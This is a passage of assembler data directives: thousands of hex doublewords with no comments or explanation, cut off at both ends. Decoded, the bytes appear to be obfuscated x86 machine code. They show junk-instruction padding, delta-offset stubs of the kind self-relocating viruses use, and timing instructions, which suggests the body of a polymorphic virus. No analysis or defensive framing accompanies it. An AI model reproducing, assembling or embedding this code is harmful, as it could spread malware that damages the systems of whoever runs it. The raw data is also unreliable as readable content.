6AC38Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 5F101DC3h, 0E9A4B1DEh, 6, 6F5AE042h, 0E8C1E143h, 7DBE6604h dd 0E2F76618h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0C3C35242h, 8EA6DC7Fh, 0D82BA119h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B9C35343h, 0DE9h dd 8263CE00h, 255AF681h, 4B190822h, 89584FEEh, 1B1BC195h dd 0FD82B06h, 18688h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0F176641Eh, 6E95A55h dd 20000000h, 0EF1DDA29h, 7B97Dh, 0BF660000h, 0C183A351h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 165F5851h, 0FBC05537h, 0BF666D1Bh, 0FE98D9Dh dd 0AC000000h, 73F31D56h, 71F6363Bh, 2531C0EBh, 0D93B0377h dd 109860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0DC37D7C3h, 0EC218E7Eh, 8C6620DEh dd 358D89D9h, 0F6061B1Dh, 840F04C1h, 0ACh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4C35141h, 69A05F52h dd 0F57E0572h, 4595FF7Eh, 6A061B0Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 5DA9C357h dd 83995E55h, 5B75D543h, 28D0F60h, 8A000000h, 0E9858BC3h dd 61061B21h, 956C32Bh, 1B1BCDB5h, 343D5F06h, 0F000008h dd 3786h, 68D0F00h, 0B000000h, 1B140DBDh, 4DE906h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 2D2228C3h, 66CF10ADh, 0D1FCE781h, 6AC08Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0B71D72C3h dd 830FD3h, 8B000000h, 6AD88BC3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E619C353h dd 11859448h, 85C79623h, 61B0ED9h, 359ACF9Bh, 1B8D9501h dd 0C08B061Bh, 0BBC7BF66h, 99DBD81h, 7D0061Bh, 850F0000h dd 10h, 5EF28B57h, 99D85FFh, 9501061Bh, 61B1861h, 99DB5FFh dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0B58BF5C3h, 61B1721h, 220595FFh, 6A061Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0BFD70EC3h, 699BD8Bh, 0E956061Bh, 11h, 8314DC3h, 493664DEh dd 2038934h, 0C5EAD713h, 6A905EF0h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4EE1C351h dd 0F03BA54Bh, 89539352h, 1B2A1985h, 5E806h, 0FFAE0000h dd 0E879FBEEh, 14h, 4EC3A787h, 80261435h, 1F83157Bh, 76401CB3h dd 22838245h, 19D6815Eh, 5E04E215h, 56006A5Fh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 3FDBAFDAh dd 0C99D8D4Fh, 1D118589h, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0BF274AC3h, 47190CC9h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0F0A57E35h, 0F9EB1E9Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 8AC35545h, 0AF95FCD0h, 8356FA2Ch dd 0E19D29D6h, 6A061B18h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0CC8C355h, 2864884Eh dd 0C5BD8Bh, 49E9061Bh, 0FFFFFF7h, 8D0FF0B7h, 21h, 0BE8h dd 0D8D4C400h, 573E53Bh, 17339655h, 7495CEBEh, 0A6CBF7Bh dd 895E1A63h, 1B03A1BDh, 6AC18B06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 29E6C353h dd 0FA1ABA90h, 0E91CE034h, 13h, 0D7B8ECDBh, 47783D39h dd 0E19FEA71h, 0F8092D86h, 0EB47CAA5h, 4, 880F00h, 0E8000000h dd 0Bh, 0B10A45AEh, 0D0077038h dd 0E9290673h, 6, 63666047h, 895E405Ah, 1B1F21B5h, 0ED858D06h dd 6A061B32h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0D307C353h, 0BD8BB3B0h, 61B1245h dd 19D18589h, 8950061Bh, 0BD092404h, 61B22B5h, 6AFC006Ah dd 130BE00h, 858D5582h, 61EFF8Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 93C35646h, 0ED73CD3Ah, 960B189Eh dd 0F9F68159h, 0F623FE5h, 584h, 28CEBF00h, 0C08315ADh dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0DB1A25C2h, 6690FC78h, 50592BBFh, 9259BE66h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 880F5388h, 8, 2800Fh, 61600000h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8F0FD2C3h, 14h, 0FE9h, 0C86E5800h, 24F8523Fh, 3BF74600h dd 0B68F13BAh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0D31788C3h, 195FFC0h, 6A061B1Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 3E85C356h, 5F67AB1Dh, 9D8D7E6Fh, 61E92B7h dd 1C99D89h, 0D3FF061Bh, 305DB58Bh, 85FF061Bh, 61B2B0Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 42C35242h dd 0BB975975h, 27C2F04Bh, 8AEE9h, 0E800h, 815D0000h, 1EFF99EDh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 9634E09Ch, 81C918BCh, 4F9B07E7h, 9DBD817Eh dd 0D0061B09h, 0F000007h, 17086h, 0B5B52300h, 8B061B22h dd 1B17459Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0F63A52E1h, 100E381h, 95890000h dd 61B2F7Dh, 850FDB0Bh, 0C2h, 0FDC8BD83h, 0F00061Eh, 5184h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0E0C0341Ah, 47351328h, 0BED68124h, 0E92808DCh dd 0B6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0D8C35343h, 0E218509h, 85C7061Bh, 61EFDC8h, 1 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 7CC35545h dd 0EA802F50h, 0A473CE58h, 61E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 8786EB1Fh dd 53D9F7C4h, 820FF2CDh, 6, 29059D09h, 85C7061Bh, 61EFDC8h dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 9BC35242h dd 77303930h, 328DBD8Bh, 9D8D061Bh, 61B1745h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 21C35141h, 7019CF8Dh dd 0F585093Eh, 81061B1Ch, 0FFFEFF23h, 68A0FFFh, 0F000000h dd 8Dh, 0DB8C6600h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0B9C35040h, 933055A7h, 0D038BF66h, 0F04C3F6h dd 8B84h, 4595FF00h, 6A061B0Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 1B94C355h, 8F0C9754h dd 0E8227F29h, 0Fh, 193BACE5h, 0CB2B9FD4h, 0ECA5251h, 5E1DB747h dd 0FE9h, 5A35CC00h, 0EA0EB722h, 0E913FCA6h, 0F03C6F4Dh dd 33BE6690h, 0AE95040h, 91000000h, 290E141Dh, 0D93C2608h dd 6A901Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0B58B5EC3h, 61B2961h, 406E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 6A00B0D1h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 5B56C352h, 0C6B89507h, 118B0FAEh dd 0E9000000h, 0Ch, 0BFFA271Fh, 2383B9A2h, 1B78B48h, 8B6670E6h dd 8B71E4F7h, 1B0769BDh, 0D8B60F06h, 0D1B52357h, 5F061B19h dd 6BAh, 0C38BFC00h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 2CC35747h, 3CAD011Dh, 0EE8h, 12C2C00h dd 46B41F2Eh, 67B0C733h, 5F9AEA8Ah, 6A04E8C1h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0C733C356h, 0E2F766B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 2DC35646h, 0F88B6656h, 11BD0B5Eh, 2B061B2Ah dd 0BE6693D8h, 0F50B88Bh, 0B83h, 5880F00h, 0BE000000h dd 4EDB2637h, 50006A93h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 810F7B78h, 0Eh, 0D58D2960h, 89061B18h dd 1B0E8195h, 8B606106h, 1B323DB5h, 0E9853306h, 61061B0Bh dd 99DB5FFh, 850F061Bh, 6, 8E0Fh, 95FF0000h, 61B2205h dd 1C759529h, 0B0061Bh, 12D9BD8Bh, 70E6061Bh, 17E58589h dd 71E4061Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0F8C35242h, 0E8D4A839h, 13h, 39EAE3A8h, 3837A3CAh dd 34860686h, 0A12492Ch, 89BD0998h, 1B07B19Dh, 613C5F06h dd 241830Fh, 5E90000h, 0AB000000h, 0DDF3E7F8h, 0D8B60FF5h dd 0BAFB8B66h, 6, 0CE8h, 0AF205700h, 0A938F041h, 3298DD53h dd 6D9D31B7h, 5F061B0Dh, 8B66C38Bh, 4E8C1F3h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 1AC35343h, 0B58B2F9Eh dd 61B3055h, 2BE2F766h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 31E70942h, 1B183995h dd 6A5806h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 26714BC3h, 741FEE1Bh, 0FD82BF5h, 19288h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 22B9A3F4h, 0DE82EED4h, 7B9F8h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0A8B9F9C3h, 0AD554254h, 0DBD8908h, 83061B14h, 6A00C1h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 75A799C3h, 860FD93Bh, 117h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 7CC35242h, 0C7BE2E7Eh, 8C66E1D5h dd 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 7F38F67Fh, 2AB5BD01h, 0C1F6061Bh, 0A0840F04h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0F7D2C356h, 167ABF27h, 95FF3A31h dd 61B0C45h, 18E1BD8Bh, 6A5B061Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BE0C356h dd 1B2ABDB5h, 57C32B06h, 5116BE66h, 8343D5Eh, 860F0000h dd 3Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h dd 4C35141h, 74B6D8E9h, 0AE8h, 0DBF69000h, 45B5D754h, 667E334Fh dd 0E95FF18Bh, 27h, 8BFA8B66h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 977ABC58h dd 8B7821A2h, 6AD88BC3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 77A7C353h, 0B58B6715h dd 61B031Dh, 0BE185C7h, 517B061Bh, 870F5CB3h, 3, 8BFFB70Fh dd 9DBD81C0h, 0D0061B09h, 0F000007h, 5085h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 6A907979h, 0FD76379h, 1A80h, 10E800h, 0C62C0000h, 301A782Ah dd 8DAD982Eh, 7BDAD783h, 0BF662387h, 8B5F2228h, 9D85FFFEh dd 8B061B09h, 1B1841BDh, 9DB5FF06h, 6A061B09h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 2BA3C357h, 0E93B352Fh, 13h, 4EDB119h, 0B5EA6750h, 8146A25Ah dd 0E24048D2h, 0FF84194Bh, 1B220595h, 0DB58B06h, 90061B0Ah dd 2F7DB533h, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 9C97E4C3h, 0DE937h, 946D0000h, 2A1229A8h dd 71DD428Ch, 6ACE9C80h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 4962C350h, 0B58B0AB8h dd 61B0819h, 0A522F781h, 0BD3155E8h, 61B083Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B4C35242h, 6B80B6BCh dd 84DEA8B3h, 699D0945h, 89061B31h, 1B2F3185h, 8B666006h dd 2C781D7h, 6665AB0Ch, 0F9CDC281h, 21BD8B61h, 6A061B31h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 5D8BC357h, 29F4230Fh, 1B1B75BDh, 0BB666006h dd 61FC50D0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 57C35545h, 808A0506h, 904CBFFFh, 5E532858h, 0FFF794E9h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 7EBE1446h, 0E80C1B6Bh, 12h, 7CDBDEA9h, 6BB37C07h dd 91034604h, 797490C3h, 830F3305h, 2, 8B5E6160h, 8D4CBEC1h dd 4EB3114h, 0 dd 8E8h, 96037D00h, 1B621941h, 5B58BAAh, 5E061B0Ah, 5E8h dd 0EAAD8F00h, 0BE83243h, 0F8000000h, 9AAF878h, 0FB22369Fh dd 5F5E323Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0F9C35040h, 0E97F1A41h, 7, 0AB3F1794h, 8D16C279h dd 1B32ED85h, 0D7816606h, 50907813h, 0DE9h, 66BF1E00h dd 0BED0E10h, 8F5ED315h, 0BE90544Bh, 6AB6FEE7h, 9D01006Ah dd 61B0795h, 0BE9h, 0CC7C7200h, 0C59408B7h, 0A726D5FAh dd 0BF0F006Ah, 958956FBh, 61B122Dh, 0FD858D5Eh, 6A061F09h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 66BCC351h, 0D7BED681h, 5705C083h, 3201BD89h dd 905F061Bh, 52505260h, 585A310Fh, 61C28B5Fh, 0F525050h dd 81h, 5A310F00h, 6A9058h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0F513E8C3h, 0D78F1AF1h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 6A2763C3h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 3D8671ABh, 0BF662C6Fh dd 95FFC0F0h, 61B1A01h, 333D9589h, 9D8D061Bh, 61E92B7h dd 6830Fh, 0BD8B0000h, 61B1E69h, 6AD3FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD8918C3h dd 61B1939h, 0B859529h, 85FF061Bh, 61B2B0Dh, 7B1BD8Bh dd 5FE9061Bh, 0E8000008h, 0 dd 7ED815Dh, 6A061F0Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0A4CDC353h, 135DC7F6h dd 1181B58Bh, 0BD81061Bh, 61B099Dh, 7D0h, 16D860Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 66910AC3h, 9D8BF28Bh, 61B2D1Dh, 68C0Fh, 85890000h, 61B0E85h dd 100E381h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 88D31FC3h, 51B2BE73h, 0D5D9509h dd 0F5E061Bh, 688h, 95B52B00h, 0B061B07h, 91850FDBh, 8B000000h dd 1B1E89B5h, 0D9B58B06h, 83061B02h, 1F084BBDh, 840F0006h dd 45h, 38F0Fh, 0B70F0000h, 78E9F3h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 9DBE44C3h dd 71AF50FCh, 0CE95EC2h, 0B9000000h, 47F917FEh, 74B843F8h dd 8B0698C1h, 4B85C7FEh, 1061F08h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 2747C350h, 95A3F052h, 0E9F88B2Ch, 0Eh, 84B85C7h, 61Fh dd 0BE660000h, 9D8DFCB7h, 61B2D1Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 7EC35646h, 0E5D8CE2Fh, 0C31278F2h dd 0F1B70F8Bh, 0FEFF2381h, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BA3464C3h dd 5AE966B6h, 66F78B66h, 6ADB8Ch, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0C1647FC3h, 0B58B53E8h dd 61B2E9Dh, 71B58B5Fh, 0F6061B24h, 840F04C3h, 67h, 91ABBF66h dd 0A001C681h, 95FF4FB4h, 61B0C45h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 94C35141h, 559A1E7Dh, 177DB52Bh dd 8950061Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 7AC333C3h, 57601B74h, 5BC3B70Fh dd 21C19589h, 0E961061Bh, 431h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 61C35545h, 0ECA3792Ah, 29EA68C0h dd 1B0C799Dh, 6A00B006h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0F846C353h, 9589F878h dd 61B25FDh, 0BD2970E6h, 61B133Dh, 6A71E4h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0DBCBC5C3h dd 49B6272Bh, 0D8B60FB4h, 2F1BD23h, 6BA061Bh, 29000000h dd 1B0D299Dh, 6AC38B06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0E0D8C353h, 0E6E88350h dd 0F987A1A9h, 0D79B41BFh, 4E8C159h, 0E2F766F8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2FC35343h, 6B8341E0h dd 0FE77C681h, 9E97D0Fh, 58000000h, 9ED65E88h, 0B2974AF3h dd 0B58BD82Bh, 61B2385h, 0DEDB58Bh, 5750061Bh, 241C895Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 59C35141h dd 431125E3h, 51BF6623h, 9DB5FF9Fh, 9061B09h, 1B2FB99Dh dd 595FF06h, 6A061B22h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 69A8C350h, 5DB5318Ah dd 0B0061B0Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 4001061Bh, 0ECB71025h dd 0BE95114h, 5D000000h, 7B539F8Ch, 6C41937Eh, 0E65F412Ch dd 0FBF6670h, 6A71E417h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 744CC350h, 0C42A9AC5h dd 0A2B65E68h, 613CF08Bh, 25B830Fh, 0E8600000h, 0Ch, 16142A8h dd 75C32409h, 412D0E50h, 32299589h, 8958061Bh, 1B247D85h dd 0B60F6106h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 10D8237h, 0B504F03Dh dd 6BAh, 2D9D2900h, 8B061B1Fh, 0E8C1F8C3h, 56006A04h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 91A0B7F4h, 0CD24E362h, 0F7667E2Dh, 0F08B66E2h, 8166D82Bh dd 580E27EEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 8CC35141h, 4E57A56Fh, 524FFEA1h, 0BD896068h, 61B2F81h dd 60431BEh, 5E86119h, 94000000h, 1A237BDh, 1ED19501h dd 2B5F061Bh, 86880FD8h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0EE43C350h dd 42D66AB7h, 7B94Fh, 0C6810000h, 3C27D82Ah, 2900C183h dd 1B0C65BDh, 0FD93B06h, 14886h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 2067AE5h, 11E938h dd 0E11D0000h, 0ADFB3214h, 0A0DC215Eh, 2E6C1BCCh, 66CA87DCh dd 0FA8BD98Ch, 0F04C1F6h, 0EF84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0EE8A608Ch dd 13E8h, 88A4EF00h, 87C210EAh, 0CDF93DC0h, 0DCCDEDB0h dd 817EF96Ch, 0DE9h, 0E5BC5900h, 0AFF76AAEh, 683ED6BEh dd 615B5648h, 0C4595FFh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 6F149C3h, 66E8038Fh dd 8B65837Bh, 1B0BC1B5h, 0F820F06h, 0E9000000h, 0Ah, 424536B8h dd 0F70DF09Ch, 6A5BC028h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 4BCEC350h, 0C8600925h dd 292A2811h, 1B0DD18Dh, 3DC32B06h, 834h, 26860Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0B70FD4C3h, 17E9FBh, 0F38B0000h, 8A0FC08Bh, 0Dh, 2D8D8960h dd 0BB061B07h, 48B0C032h, 8BC38B61h, 31B58BD8h, 0C7061B0Ah dd 1B174585h, 397B1D06h, 6AC08B34h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8BB2C353h dd 1B220DB5h, 9DBD8106h, 0D0061B09h, 0F000007h, 4B85h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BD318EF2h, 61B1BCDh, 99D85FFh, 6A061Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0B50B59C3h, 61B3171h, 99DB5FFh, 6A061Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 8010D8C3h dd 0FFD21EC5h, 1B220595h, 6A90F506h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 4535C350h dd 0E796E1CFh, 0AE8h, 0D7852A00h, 9C28637Ch, 8B151CD6h dd 1B089DBDh, 5E5E5306h, 8BF8B70Fh, 0E9FE8BF2h, 0Ah, 0A9934614h dd 0D30AEFD4h, 0B70F5D45h, 0BE9F8h, 97CD0000h, 79EAA3CFh dd 9F4505E3h, 55006A52h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0E9C45F56h, 0Ah, 0C7111E3h, 93F10CA1h dd 5E838C2h, 8A000000h, 0B563B7ADh, 0AE85Eh, 0F8AD0000h dd 0ED632F89h, 24983F4Eh, 0E4EE8166h, 0F98B5FA3h, 0E850006Ah dd 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 9AC35040h, 4F576C92h, 0F7B62DB5h dd 0F595892Bh, 66061B2Bh, 5F52F08Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0F2C35343h, 5F32F99h, 2C61A7D5h dd 170EE81h, 61BE17F2h, 0E96A7FECh, 0FFFFF7A3h, 0C18BF78Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5CC35747h dd 0E7562602h, 0D24C13B1h, 0DB816065h, 1E426287h, 0B58B61F9h dd 61B0939h, 4EBh, 0F560000h, 35EFBBFh, 1B2109B5h, 0ED858D06h dd 8B061B32h, 1B31B9BDh, 0EBE9006h, 50001F85h, 10E8h, 2C845700h dd 8F978D79h, 3DA0730Ah, 0B51C7619h, 6A905FFCh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 55BEC357h, 0F392031h, 489h, 5E575100h, 6A006A5Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 35BDC351h, 2AADCFC1h, 6AEB309Dh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0A31ADD75h dd 65858D07h, 6A061F14h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 9052C352h, 4B14C88Dh dd 15A2C39Bh, 9005C083h, 39A624BFh, 6A90506Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0EE9FC357h, 0BBCF3F5Bh, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4F832C3h dd 72300E7Dh, 0C7816626h, 6A621Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 6C35545h, 12890Fh, 0DE90000h dd 0B7000000h, 49948C84h, 0F505D3CAh, 878DE953h, 70CE8166h dd 195FF40h, 60061B1Ah, 326D9589h, 0DE8B061Bh, 0B79D8D61h dd 6A061E92h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0DB78C357h, 8B66F786h, 6AD3FFF8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 6652C350h, 0FFF9B0BEh, 1B2B0D85h, 0B70F5106h dd 0F9E95FFBh, 0E8000007h, 0 dd 6FED815Dh, 81061F14h, 1B099DBDh, 7D006h, 67860F00h dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 6257C350h, 9D8BFB8Bh, 61B2B3Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 21C35646h dd 66BC0409h, 913BE487h, 0EE8CBh, 0DA8E0000h, 6167CBCh dd 287E6E96h, 4961BA91h, 5D2CBE66h, 0E3815Eh, 8B000001h dd 1B315DBDh, 0FDB0B06h, 9385h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BE772FDDh dd 15BAA039h, 1299BD83h, 0F00061Fh, 2D84h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0FFDB109h, 4DE9F7BFh, 66000000h, 0F7FF7BFh, 85C7FBB7h dd 61F1299h, 1, 22C9B58Bh, 31E9061Bh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0E6C6C352h, 0F08B662Fh, 129985C7h, 61Fh, 0B58B0000h dd 61B0845h, 2B3D9D8Dh, 6A061Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8190E1C3h, 0FFFEFF23h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0E3E22819h, 0ADD73CA4h, 8C660D02h, 53006ADBh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 9A77F694h, 0F04C3F6h, 6784h, 81666000h, 8BC6EAEEh, 1B0785BDh dd 95FF6106h, 61B0C45h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 98C35545h, 5FECD01Ah, 4BB3DC9Ah, 0A19D0108h dd 51061B16h, 452C6CBFh, 52505F00h, 11E9h, 16CA4A00h, 56E6CFB4h dd 0AD22A8A7h, 0CE30A9Fh, 895F929Bh, 8D892404h, 61B18FDh dd 37BE9h, 0E600B000h, 71E4FC70h, 12E9h, 0BF724B00h, 0C21AE6Ah dd 0F53FA171h, 0BF08E885h, 0FE789A0h, 8D0FD8B6h, 14h, 0FE9h dd 72215C00h, 6E588A4Dh, 0F8523FC8h, 0F7460024h, 6BAh dd 6AC38B00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 1C08C357h, 0B5898A87h, 61B0C35h dd 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 